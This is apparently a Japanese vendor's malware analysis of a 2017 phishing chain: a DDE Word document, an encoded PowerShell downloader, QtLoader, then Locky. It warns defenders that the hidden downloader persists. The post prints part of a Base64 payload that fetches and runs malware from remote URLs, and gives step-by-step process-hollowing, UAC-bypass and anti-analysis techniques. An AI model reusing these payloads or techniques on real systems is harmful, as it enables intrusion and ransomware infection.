10月中旬、弊社に一通の不審メールが送られてきました。

不審メールにはWordファイルが添付されており、簡易調査の結果、世界的な規模でメール拡散されたものであり、最終的にランサムウェア「Locky」を感染させる不正ファイルが添付されたメールであることがわかりました。

一般的に、複数のマルウェアが組み合わされた一連の攻撃では最終的に感染する目立ったマルウェアに注目が集まりがちであり、10月に全世界で確認された今回の不正メールまたは関連する攻撃キャンペーンによるメール拡散と思われるケースにおいても、最終的にダウンロードされる「Locky」と呼ばれるランサムウェアのみに注目する記事が多く確認されました。

11月下旬になり、我々は別件で本件について細かい動きを確認する必要が出てきたため、改めて独自に細かく解析を行った結果、以下にあげる注目すべきテクニックを組み合わせて作成された高度なマルウェアであるダウンローダー（QtLoader別名QtBot／以降QtLoaderと記載）が間に紛れていることに気がつきました。

1. インストーラーとしてビルド・カプセル化（NSISの悪用）
2. 2種類の異なるProcess Hollowing（プロセスハロウイング）の利用
3. Heaven’s Gate（ヘブンズゲート）の利用
4. UAC bypassテクニックによる管理者権限昇格
5. アンチデバッグ機能（仮想環境と解析ツール等の検知）

現在のところ、少なくとも日本国内においてこの高度なダウンローダー（QtLoader）の脅威の存在やこれらのテクニックの詳細と全体像が触れられた日本語情報がほぼ存在しないため、本記事にて一般に情報共有します。

本事例から学ぶべきポイントについて結論から先に述べると、基本的に複数のマルウェアが連携しているような攻撃の場合、最終的に落ちてくるマルウェアに注意すべきであることは当然なのですが、実は間に潜むダウンローダーについてはより一層の注意が必要となります。一般的に、最後に落ちてきた（目立った）マルウェアの把握・対処はできていても、間に感染しているダウンローダーを見逃しているケースが少なくなく、その場合、非常に危険なリスクが潜むことをしっかりと理解しておく必要があります。

ダウンローダーと呼ばれるマルウェアはその名の通り、自身と異なるマルウェアをダウンロードし呼び込んでくる目的があり、その目的遂行上隠蔽性が高いこと(いかに見つからず他のマルウェアをダウンロードさせるか)が最大の特徴の一つでもあるため、駆除されない限り端末内に潜み続け、ある日ランサムウェアをダウンロードしていたものが数日後に突然バックドアをダウンロードして感染させるといったケースも起こり得ます。ランサムウェアは挙動が派手であり見た目でもわかりやすいので感染に気づきやすいですが、それがバックドアの感染となると、一般ユーザーが気づくことは一気に困難となります。

つまり、自他のネットワークでランサムウェアの感染アラートが発生し、たとえ該当のランサムウェアは対策製品により検知されブロックできていたとしても、間にダウンローダーが潜んでいた場合、そのダウンローダーも併せて検知できているとは限りません。安心してそのまま端末の使用を継続していると、いつの間にか潜んでいたダウンローダーによりバックドアに感染し情報流出に繋がる可能性がありえることを十分理解しておく必要があるでしょう。また、こうしたことからも、ある一つのマルウェアに感染した場合（または検知が発生した時点で）、そのマルウェアのみにとらわれず、感染端末内に潜むダウンローダーや他のマルウェアによる多重感染について慎重に疑うことが重要です。

以降では、本ケースで確認されたそれぞれの脅威および、その特徴について簡単に解説したのち、今回の検体を通して見えた実脅威としての悪用事例を、解析内容を加えつつご紹介します。

なお、最終的にダウンロードされるランサムウェア「Locky」に関する分析記事や解説は既に様々なベンダーにより一般公開されているため、本記事ではWord文書を開くことによる感染の初期過程から途中に潜むダウンローダー「QtLoader」の挙動までを中心に解説します。

＜ダウンローダーが備えた各脅威とテクニックについて＞

インストーラーとしてビルド・カプセル化（NSISの悪用）

NSISは一般的なインストーラーを作成するためのフリーソフトウェアであり、世界中で利用されているインストーラー作成ソフトの一つです。NSISは独自のスクリプトで記述していくことでインストーラーを作成することができ、プラグインにより機能を拡張していくことができます。そのプラグインの一つである「System.dll」を利用することでWin32APIを直接呼び出すことが可能となり、Windowsプログラムとしての可能性が大きく広がります。今回のマルウェアはこのNSIS及び「System.dll」等のプラグインを利用し、インストーラーを作成する仕組みを悪用してマルウェアを作成しています。Visual Studio等の一般的なプログラムの開発環境を使わずこうした特殊な専用ツールを利用してマルウェアをインストーラーとしてビルドすることで、自動解析システムやウイルス対策製品には一見インストーラーであるかのように偽装させることができます。また手動解析の観点からも、本来の主要コードがインストーラー作成ソフトによってカプセル化されることで確認しづらくなり、さらにインストーラーでは使用するがマルウェアでは使用しないようなコンポーネントやコードが組み込まれるため、静的解析では大量の余分なコードと主要コードを読み分けていく作業が発生します。どちらにしても解析を困難とさせるテクニックとして効果的と言えるでしょう。また、このマルウェアはNSISを介して後述の「Process Hollowing」及び「Heaven’s Gate」を実現させておりこの点からも非常に手の込んだ構造となっています。（※なお、解凍ソフトである7-Zipの一部のバージョンではNSISのデコンパイル機能が存在するためスクリプトを展開して取り出すことも可能です。（下図参照））

Process Hollowing（プロセスハロウイング）

プロセスハロウイングは数年前から標的型攻撃マルウェア等の一部マルウェアを中心に使用されてきたテクニックであり、正規プロセスの中身を完全にマルウェアコードと入れ替えることでマルウェアを隠蔽する手法です。プロセスの中身を入れ替えられた後もそのプロセスの実体ファイルは一切改変されていないため、実体ファイルを取得し調査してもそれはただの正規ファイルであり不正コードは一切見つかりません。そのため、ファイルに対して検知を行うタイプのウイルス対策製品では検出することが不可能となり、そうしたウイルス対策製品の迂回の手口として効果的な手法の一つです。プロセスのメモリダンプをしない限り不正コードを「ファイル」として捉えられないことからも、ここ数年の攻撃における流行となるファイルレス手法の一つとも言えるでしょう。なお本検体は、一般的なプロセスハロウイングの他に、さらにそれとは異なる特殊なプロセスハロウイングのテクニックも併せて使用しており後述の内容にて解説します。

Heaven’s Gate

今回のマルウェアはHeaven’s Gateと呼ばれる高度なテクニックを利用しています。プログラム開発やプログラム動作における通常の概念では32bitと64bitには明確な超えられない壁がありますが、Heaven’s Gateは32bitプロセスから64bitプロセスのコードを呼び出すことを可能とした高度なテクニックであり、32bit/64bitの壁を突破することでマルウェアにとって多くの利益をもたらすことができます。多くのデバッガは32bitまたは64bitそれぞれのプラットフォームに合わせて開発されており、例えば基本的に32bitのプログラムは32bitのデバッガでないと命令の解釈ができません。そのため、32bitプロセスの内部処理の途中から64bitのコードを呼び出すHeaven’s Gateは一般的なデバッガによる解析作業の継続を困難とさせます。Heaven’s Gateは一般的に32bitプロセスから64bitプロセスへインジェクション等の何らかの干渉を行う場合や、今回のように32bitプロセスの内部において一時的に64bitコードを実行させる場合に利用されます。

UAC bypassテクニックによる管理者権限昇格

ユーザー権限で動作しているWindowsプログラムが管理者権限に昇格（管理者権限を必要とするプログラムを起動）しようとした際、一般的にUACが表示されますが、UAC bypassという手法はWindowsの仕様を悪用しこのUACを迂回することでUACの確認画面を表示させることなく管理者権限に昇格することができます。このUAC bypassのテクニックは近年GitHubなどインターネット上で複数の手法や実証コードが公開されており、比較的容易に悪用できる現状があります。そうした背景もあり、一般的なマルウェアの他、今年に入りランサムウェアによるUAC bypassの悪用事例も確認しています。（※UAC bypassの悪用事例に関する詳細は過去のMBSDブログ記事をご覧ください：https://www.mbsd.jp/research/20171012/hkcrypt/index.html）

アンチデバッグ機能

多くのマルウェアは解析されないようにする耐解析機能（アンチデバッグ機能）を持っていますが、本件のマルウェアも例外ではなく仮想環境の検知とマルウェア解析ツールの検知を行うアンチデバッグ機能を装備しています。Process Hollowingの解析によく使用されるProcessHackerやOllyDbg等も検知対象に含められていることから、手動解析される可能性も考慮されたアンチデバッグ機能であるといえます。また、検知対象のプロセス名を文字列として保有せずハッシュ値化して保有しており、単純な文字列抽出（ストリングスキャン）による調査や解析を回避できるように作られています。

これらのテクニックを多重に重ねた挙動

このマルウェアは感染直後に階層的に子プロセスを起動させ複数階層のプロセスツリー構造を形成させますが、それぞれ子プロセスを立上げる度にProcess Hollowingやアンチデバッグの挙動を行います。そのため、解析作業はより一層複雑・困難となります。

ここまで本検体に利用される攻撃テクニックの簡単な説明をおこないました。

以降、実際の検体を元にした解析結果と挙動を解説していきます。

＜不正なWord文書と開いた結果＞

本マルウェアはメールに添付される形で配布されており、メールの差出人アドレスは企業ドメインであり社員を装っています。ただしメール本文が不審な英語のため、メール経由でのマルウェア感染の危険性を把握している日本人であればここで躊躇うことでしょう。メールにはWord文書が添付されていますが、もしこのWord文書を開いてしまった場合どうなるのでしょうか。

最新状態のWindows及びOffice環境において今回のWord文書を開いたところ、注意を促すメッセージボックスがいくつか表示され、それらのメッセージボックスの選択肢に対し許可を選択していくと最終的にWord文書からマルウェアが実行され感染に至ることがわかりました。

以下、感染の流れとその詳細を解説します。

不正なWord文書の仕組みと1stダウンローダー

メールに添付されていた不正なWord文書にはDDE Exploitというテクニックにより不正なPowerShellスクリプトが埋め込まれていました。

DDE Exploitについては新しい脅威ではなく比較的古くからある脅威であり、Office製品の仕様である「Microsoft Dynamic Data Exchange」を悪用した不正テクニックです。DDEを簡単に言えば、異なるOffice間の連携を行える仕組みであり、Wordファイルの中で外部のExcelファイルの表を呼び出すなどの用途で利用されます。その際に使用するフィールドと呼ばれる領域に任意の外部プログラムを指定し実行できるコマンドを記述できる仕様があり、それを悪用した攻撃手法です。Microsoft社は脆弱性ではないとしていますが、国外において一般的にDDE Exploitという名称で呼ばれています。

今回調査した不正なWord文書は２ページで構成されており、通常通り開くと２ページ目にキリル文字と思われる文字列が１行記述されています。

実はこの文字列にDDEコマンドが埋め込まれており、以下の手順によりコマンドを抽出することができます。

この文字列をマウスで選択した状態で右クリックすると、右クリックメニューの中に通常では表示されない「フィールドの編集」というメニューが表示されます。

この「フィールドの編集」を選択すると以下のウインドウが表示され、フィールドコードの項目からDDEコマンドが抽出できます。抽出したコマンドが以下となります。

抽出したDDEコマンドは、コマンドプロンプト（「cmd.exe」）経由で「PowerShell」を起動し、特定のURLへアクセスし、ダウンロードした文字列をPowerShellスクリプトとして実行する内容となっています。

2ndダウンローダー（PowerShellスクリプト）

上記URL（末尾「KJHDhbje71」からダウンロードされる内容は以下のようなデータとなっています。

DQAKACQAdQByAGwAcwAgAD0AIAAiAGgAdAB0AHAAOgAvAC8AcwBoAGEAbQBhAG4AaQBjAC0AZQB4AHQAcgBhAGMAdABzAC4AYgBpAHoALwBlAHUAcgBnAGYAOAAzADcAbwByACIALAAiAGgAdAB0AHAAOgAvAC8AYwBlAG4AdAByAGEAbABiAGEAcAB0AGkAcwB0A
（中略）
MAaAANAAoAewANAAoAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQANAAoAfQANAAoADQAKAAkADQAKAH0ADQAKAA==

これはBase64でエンコードされた内容であり、デコードすると以下のような内容になります。

上で示したDDEコマンドにあるように、PowerShellは実行引数に「e」（encodedCommand）を使用することで、Base64でエンコードされた状態のままの文字列をスクリプトとして実行できます。そのため、エンコードされた状態の文字列は1stダウンローダーによってファイルに保存されることなく実行されることとなり、ファイルレスな攻撃手法といえます。

上記デコードしたPowerShellスクリプトの図に確認できる複数のURLリストのうち、接続可能ないずれかのURLからダウンロードされたファイルは「rekakva32.exe」として一時領域へ保存され実行されます。

以上、Word文書を開くことにより実行されるDDEコマンド（1stダウンローダー）、DDEコマンドによってダウンロードされるエンコードされたPowerShellスクリプト（2ndダウンローダー）の動作の流れをまとめると以下のようになります。

また、上記の図をダウンローダーというくくりで考えた場合、以下のように捉えることができます。

EXE形式のファイルがダウンロードされるまでにすでに２段階のダウンローダーを経由していることがわかりましたが、本攻撃において一番の肝となるのは、次に解説する３段階目のダウンローダー「QtLoader」です。

3rdダウンローダー「rekakva32.exe」（QtLoader）

「rekakva32.exe」は実行されると、以下のレジストリキーと値を作成します。このレジストリキーは自身が実行された証拠となる感染のマーキングの役割を持ちます。（なお作成される以下の特徴的なレジストリキーの名前から「QtLoader」または「QtBot」と呼ばれています）

次に、新しいスレッドを作成し、現在起動中の全プロセスを検索した上で以下に該当するプロセスが起動していないかを、メインスレッドの主な処理と並行して繰り返しチェックします。これらは解析ツールや仮想環境に関わるプロセスであり、これらのプロセスが起動していると判断すると即座に不正活動を終了します（アンチデバッグ挙動）。

この際、単純に文字列同士で比較するのではなく、あらかじめマルウェア内に暗号化して保有していた監視対象プロセス名のCRC32値と比較します。具体的には現在のプロセス名を一つずつ取得しアルファベットを全て小文字に変換した上でCRC32値化しXOR演算(キー：0x7FB50596）した値を予め保有している値と比較します。

以下は仮想環境となるVMWareのプロセス「vmtoolsd.exe」のプロセス名をCharLowerWというAPIを使用し一旦小文字に変換(統一)しようとしている際の様子です。

「rekakva32.exe」は上記のアンチデバッグ機能によるチェックで問題ないと判断した場合、自分自身のプロセスをサスペンド状態の子プロセスとしてもう一つ起動します。（以降、起動元となる親プロセスを「rekakva32.exe」（第１世代）、子プロセスを「rekakva32.exe」（第2世代）と記載します）

そして、サスペンド状態で起動させた自身の子プロセス「rekakva32.exe」（第2世代）に対しプロセスハロウイングを行います。これにより、「rekakva32.exe」（第2世代）は以下の図のようにプロセスとしてでしか存在しない別のマルウェアに変化します。

【プロセスハロウイングについて】

なお、一般的なプロセスハロウイングはおおよそ以下の手順で実施されます。

＜一般的なプロセスハロウイングの手法＞

1. 正規プロセス (例：explorer.exe、lsass.exe 等) をサスペンド状態で起動させる。
2. 起動させたサスペンド状態の新規プロセスのイメージベースアドレスからNtUnmapViewOfSection等でハロウイング（空洞化）する。
3. サスペンド中のプロセスにイメージベースアドレスを開始アドレスにし RWX (読み取り、書き込み、実行) メモリを割り当てる。
4. ターゲットプロセスの割り当てられたメモリに悪意のあるコードを書き込む。
5. 最初のスレッドのターゲットアドレスを、悪意のあるプログラムのエントリポイントに変更する。
6. サスペンド状態だったプロセスをレジュームする。

これにより、プロセスがレジューム（つまりメインスレッドが再開）されると、正当なプロセスになりすまし完全に入れ替わった悪意のあるプロセスのコードが開始されます。

「rekakva32.exe」は第一段階の（自分自身の子プロセス「rekakva32.exe」を対象とした）プロセスハロウイングでは上記の流れとほぼ同様の一般的な手法で実施しますが、後ほど記載する第２段階以降の（「msiexec.exe」や「svchost.exe」を対象とした）プロセスハロウイングでは上記と異なる特殊なテクニックを用いており、以下の手順で正規プロセスを不正プロセスに置き換えます。

（そのため、一般のプロセスハロイングの解析時に着目するSetThreadContextのコンテキスト内におけるEAXに設定される値からエントリポイントを追うことはできません。）

＜今回の検体が第２段階以降で使用するプロセスハロウイングの手法＞

1. CreateFileMapping APIにINVALID_HANDLE_VALUEを指定することで共有メモリを作成
2. MapViewOfFile APIを使用して共有メモリをマッピングオブジェクトに指定
3. 主な不正コードを共有メモリに書き込み
4. CreateProcessにCREATE_SUSPENDEDを指定しサスペンドされたプロセスを作成
5. GetThreadContextにより子プロセスのコンテキスト（スレッドでのレジスタの値）を取得
6. ntdllから「NtMapViewOfSection」「NtAllocateVirtualMemory」「memcpy」のアドレスを取得しスタックに割り当てるデータを生成
7. WriteProcessMemoryで相手のメモリにスタックに割り当てるデータを書き込み
8. SetThreadContextを使用し、通常は「RtlUserThreadStart」のアドレスが指定されているEIPの値を「NtMapViewOfSection」のアドレスに書き換え、さらに前手順で書き込んだメモリアドレスをスタックのアドレスとしてESP/EBPに設定しコンテキストを書き戻し
9. ResumeThreadを用いてサスペンド状態だったプロセスを再開
10. 書き込まれたデータ内の「NtMapViewOfSection」から細工されたリターンアドレスを介し不正コードが開始

以下が上記のプロセスハロウイングを行う処理の実際の主なコード部分となります。

また、以下がその処理の概念図となります。

以下は、上記図中⑦におけるWriteProcessMemoryで書き込まれるデータの詳細です。

また、以下は図15における⑤と⑧におけるGetThreadContext、SetThreadContextの値の詳細です。

※もはや空洞化を行っていないためプロセスハロイングと呼ぶことを躊躇いますが、国外においても他の類の空洞化を行わない正規プロセスの置き換えテクニックについて「空洞化を行わないプロセスハロイング」として解説されるケースがあることから、本記事においてもプロセスハロイングと記載します。

＜Heaven’s Gateについて＞

また、32bitプロセスである「rekakva32.exe」はHeaven’s Gateを利用し一時的に64bitのコードを呼び出します。

大まかにいえば、64bitのWindows OSでは64bitのシステムコールしか用意されていないため、64bitのWindowsで動作する32bitプロセスは、WoW64(Windows-On-Windows)という仕組みが仲介役となり32bitと64bitの命令を適宜切り替えながら動作しています。その際２つのコードセグメントが割り当てられており、x86モードの場合「0x23」、x64モードの場合「0x33」というセレクタ値を指定することでコードセグメントを切り替えながら動作しています。

以下は「rekakva32.exe」がHeaven’s Gateを利用するコード部分ですが、x86とx64のコードセグメントを切り替える処理が確認できます。

なお、64bit OS環境下において、「rekakva32.exe」（32bit）を32bitユーザーモードデバッガでデバッグしている場合、Heaven’s Gateの処理に入った時点でデバッガの影響により64bitコードの処理が正常に行えず失敗するため、そのまま正常に解析を継続することが困難となります。逆に一般的な64bitユーザーモードデバッガで32bitプロセスである「rekakva32.exe」をデバッグすることは通常できません。そのため、「rekakva32.exe」がHeaven’s Gateを利用する主な目的はアンチデバッグであると想定しています。

以上までの処理が正しく動作できた場合、その後、サスペンド状態だった「rekakva32.exe」（第2世代）はレジュームされ、以下の動作を行います。

「rekakva32.exe」（第2世代）の挙動

「rekakva32.exe」（第2世代）は動作を開始すると、「rekakva32.exe」（第１世代）と同じくメインスレッドとは異なる別スレッドを作成し、仮想環境ではないか解析ツールが起動されていないか等のチェックを行います。このプロセスチェックは3秒おきに繰り返し行なわれているため、途中で解析ツールを起動した場合もチェックに引っかかり、不正なプロセスは終了してしまいます。

アンチデバッグ機能のチェックにより問題ないと判断した場合、以下のレジストリを作成します。

その後、ShellExecuteEx 関数にRunAs（管理者権限昇格の要求）を指定し、以下の正規プログラムを隠しプロセスで実行します。

この結果、正規プロセス「CompMgmtLauncher.exe」が上記レジストリキーに登録されている「rekakva32.exe」を管理者権限で実行することにより、「rekakva32.exe」は管理者権限に昇格した状態で実行されます。

これは、「CompMgmtLauncher.exe」が自動昇格を許可された特別な正規プログラムであり、上記レジストリを読み込む挙動があることを悪用したUAC Bypassテクニックの一つです。つまり、これにより「rekakva32.exe」はUACを一切表示させることなく管理者権限の実行権限を得ることが可能となります。

なお、プログラムを実行する関数であるShellExecuteEx にRunAs指定がなされた場合、呼び出し元プログラムの実行権限がユーザー権限であれば通常はUACが表示されますが、「CompMgmtLauncher.exe」が特別なプログラムであるため、この場合UACは表示されません。

以下は、これまでのプロセス起動の流れとUAC Bypassにより管理者権限昇格を行う実際の様子をProcessHackerのスクリーンショットを並べて示したものです（上から番号順に時系列のプロセスリストの様子となります）。

最初は実行権限が「Limited」だった「rekakva32.exe」が「CompMgmtLauncher.exe」を用いてUAC Bypassを行うことで「Full」の管理者権限に昇格していることがわかります。

また、以下はこの時点におけるプロセスのつながりを図示したものです。

「rekakva32.exe」（第3世代）の挙動

「rekakva32.exe」（第3世代）は動作を開始すると、「rekakva32.exe」（第１世代、第2世代）と同じくメインスレッドとは異なる別スレッドを作成し、仮想環境ではないか解析ツールが起動されていないか等のチェックを行います。

アンチデバッグ機能のチェックにより問題ないと判断した場合、正規プログラムである「C:¥Windows¥System32¥msiexec.exe」のプロセスをサスペンド状態で起動させます。

その後、サスペンド状態にした「msiexec.exe」に対し、前述の内容で解説した特殊なテクニック（共有メモリ、および、未公開関数であるRtlUserThreadStartのアドレス書き換え）による「Process Hollowing」を施します。

これにより、「msiexec.exe」はプロセス上でしか存在しない新たなマルウェアに変化します。

この際、「msiexec.exe」プロセスの実体である「C:¥Windows¥System32¥msiexec.exe」というファイルは一切改変されていないため、「msiexec.exe」プロセスが不審な挙動をしたからといって実体ファイルである「C:¥Windows¥System32¥msiexec.exe」を取得し調査しても全く不正なコードは見つかりません。この点が「Process Hollowing」の調査を困難とさせる理由の一つです。

サスペンドされていた「msiexec.exe」のプロセスは「rekakva32.exe」（第3世代）によりレジュームされることで不正活動を開始します。

この時点でのプロセスの連携図は以下のようになります。

「msiexec.exe」の挙動

「msiexec.exe」は、動作を開始すると、これまでと同じく新規スレッドによりアンチデバッグとなるプロセス検索を行います。その結果問題ないと判断した場合、「rekakva32.exe」の実行ファイルを以下のパスにコピーして作成します。

そして、上記のプログラムがシステム起動時に実行されるよう以下のレジストリを作成します。

これにより、ダウンローダーである「QtLoader」（rekakva32.exe）が感染端末に居座り続けることになります。

次に、「msiexec.exe」は正規プログラムである「C:¥Windows¥System32¥svchost.exe」のプロセス「svchost.exe」をサスペンド状態で起動させます。

その後「msiexec.exe」プロセスは、サスペンド状態で起動した「svchost.exe」プロセスに対し、先程と同じく一般的ではない特殊なテクニック（共有メモリ、および、未公開関数であるRtlUserThreadStartのアドレス書き換え）による「Process Hollowing」を施します。これにより、「svchost.exe」はプロセス上でしか存在しない新たなマルウェアに変化します。

以上の操作の結果、この時点でのプロセス連携図は以下のようになります。

「svchost.exe」の挙動

「svchost.exe」は動作を開始すると、WinHttpConnect関数を使用し、以下のドメインに接続可能かどうかを確かめます。これは正規のWindows Updateに関わるドメインであり、感染環境がインターネットに接続されているかどうかのチェックに利用します。

接続試行に問題がないと判断すると、「svchost.exe」は以下のドメインに接続します。

我々が調査した11月時点では上記ドメインへの接続はできませんでしたが、本検体が拡散された10月時点では、上記のドメインへの接続が成功すると、別のURLに誘導され、結果的にランサムウェアである「Locky」がダウンロードされるケースがあることがわかっています。

以上の解析結果から、本ケースと同事例（2017年10月に展開された不審メールによる感染と思われるケース）においては、「Locky」の感染（または検出）が確認された端末では併せてダウンローダーである「QtLoader」にも感染している可能性が高いことがわかりました。また、冒頭で啓蒙した通り、最終的にダウンロードされるマルウェアとは別に、ダウンローダー自身そのものも端末に感染し居座り続ける仕組みがあることが裏付けられました。

繰り返しとなりますが、ある一つのマルウェアに感染した場合（または検出した場合）、そのマルウェアのみにとらわれず、感染端末内に潜むダウンローダーや他のマルウェアによる多重感染について慎重に疑うことが重要です。

Appendix

我々の調査の結果、今回検証対象としたQtLoader（32bit）はUAC Bypassの機構に欠陥があることがわかりました。

32bitOSの場合は攻撃者の思惑通りUAC Bypassが成功しますが、64bitOSにおいてQtLoader（32bit）を実行した場合、UAC Bypassを行う処理の過程で以下のエラーが表示され不正活動を継続できなくなり、自身を終了してしまいます。

これは、64bitOS環境上における32bitプログラムから「C:\Windows\System32\CompMgmtLauncher.exe」というファイルパスを呼び出すと、内部的に「C:\Windows\SysWOW64\CompMgmtLauncher.exe」というファイルパスに変換（転送）されてしまう「ファイルシステムリダイレクタ」というWindowsの仕組みが要因です。本来、64bitOS環境上における32bitプログラムから転送先ではなく明確に上記パスを呼び出したい場合、「C:\Windows\sysnative\CompMgmtLauncher.exe」としなければなりません。

また、併せて結果的にSysWOW64ディレクトリ内に32bit版「CompMgmtLauncher.exe」が存在しないことも要因となります。例えば、同じUAC Bypassの用途で悪用されることのある「eventvwr.exe」（イベントビューワの本体）のケースでは「C:\Windows\System32\eventvwr.exe」と「C:\Windows\SysWOW64\eventvwr.exe」の双方のパスにそれぞれ実行ファイルがOSインストール時からデフォルトで用意されているため攻撃者はこの点を意識する必要はなく、また、上記のようなエラーも起きません。

以下はQtLoader がUAC Bypassを行うコードの一部ですが、lstrcatW（文字列結合関数）で明確に「C:\Windows」と「\System32\CompMgmtLauncher.exe」という２つの文字列を結合させていることがわかります。

そして、次の図は上記エラーが表示された際のProcessMonitorのログですが、lstrcatWで作成したファイルパスの文字列（つまり開発者の意図）とは裏腹に、実際の動作時ではOS側で転送され「C:\Windows\SysWOW64\CompMgmtLauncher.exe」というファイルパスが参照されていることがわかります。もちろん存在しないため参照結果がNAME NOT FOUNDとなっており、これがエラーの発生要因となります。

つまり、今回の攻撃者は、64bitOS環境上で最後まで自身のマルウェアが動作し攻撃が成功するかの検証を十分に行っていなかったものと想定できます。

なお、今回のマルウェアが利用したHeaven's Gateという攻撃手法は本来マルウェアが64bitOS環境かつ32bitプロセスとして実行されることを前提にしたテクニックですが、上記にあげたUAC Bypassの欠陥は逆に64bitOS環境かつ32bitプロセスであることに起因する問題となります。

このように特定条件において相反することとなる2つの攻撃手法が組み合わされていることは興味深い状況であるといえます。筆者はこの背景にビルダー（マルウェア作成ツール）の存在があるのではないかと推測しています。ビルダーは余計な工数をかけることなく複数の任意機能を容易に付け外しながら新たなマルウェアを生成する事ができるため、攻撃者にとっては便利なツールですが、今回のような奇妙な状態が発生してしまう背景には、ビルダーの開発者が実際には同時には成り立たない攻撃手法を同時に選択できてしまうような仕組み（例えばチェックボックスのようなもの）を用意しており、ビルダーを用いて作成した第三者の攻撃者はその組み合わせの問題点を十分考慮せずにビルドしてしまったか、または、複数の実行ファイルを一つの実行ファイルに統合させることが可能なバインダ（binder）と呼ばれる機能を搭載したビルダー（ツール）を利用することにより、異なる開発者または異なるタイミングで作成された別々の仕組みを組み合わせてビルドしてしまった、等といったシナリオを想定することができます。

そうした観点でみると、例えば同じプロセスハロウイングの実現方法でも、NSISインストーラーとしてビルドされた最初の「rekakva32.exe」が実施したテクニックと、それ以降の子プロセス間で行われたプロセスハロウイングのテクニックが異なること等、それを裏付ける状況がいくらか垣間見れます。

---

※本記事の解説に使用した検体のハッシュ値は以下となります。

吉川 孝志の他のブログ記事を読む

関連ブログ記事

• UAC回避機能を複数搭載したランサムウェア「HkCrypt」